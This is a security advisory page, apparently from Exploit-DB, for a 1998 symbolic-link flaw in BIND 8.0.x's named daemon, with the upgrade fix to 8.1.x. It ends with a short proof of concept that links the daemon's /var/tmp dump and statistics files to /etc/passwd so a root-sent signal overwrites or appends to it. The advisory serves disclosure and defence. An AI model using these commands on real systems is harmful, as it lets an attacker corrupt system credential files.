BIND 8.0.x named Daemon Vulnerability

vendor:

BIND

by:

SecurityFocus

7.5

CVSS

HIGH

Symbolic Link Attack

CWE

Product Name: BIND

Affected Version From: BIND 8.0.x

Affected Version To: BIND 8.0.x

Patch Exists: YES

Related CWE: N/A

CPE: a:isc:bind:8.0.x

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

1998

BIND 8.0.x named Daemon Vulnerability

The named daemon in BIND 8.0.x will dump the named database to /var/tmp/named_dump.db when it receives a SIGINT signal and append named statistics to /var/tmp/named.stats when it receives a SIGIOT signal. It does not check for symbolic links while doing so and can be made to overwrite or append to any file in the system.

Mitigation:

Upgrade to BIND 8.1.x or later, which uses a private directory specified in named.{boot,conf} for temporary and debug dumps.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/80/info

The named daemon will dump the named database to /var/tmp/named_dump.db
when it receives a SIGINT signal. It does not check for symbolic links while
doing so and can be made to overwrite any file in the system.

The named daemons will append named statistics to /var/tmp/named.stats
when it receives a SIGIOT signal. It does not check for symbolic links while
doing so and ca be made to append to any file in the system.

BIND 8.1.x is not vulnerable as it uses a private directory specified in
named.{boot,conf} for temporary and debug dumps.

$ ls -l /var/tmp/named_dump.db
/var/tmp/named_dump.db not found
$ ls -l /var/tmp/named.stats
/var/tmp/named.stats not found
$ ln -s /etc/passwd /var/tmp/named_dump.db
$ ln -s /etc/passwd /var/tmp/named.stats

[ wait for root to send a SIGINT or SIGIOT to named ]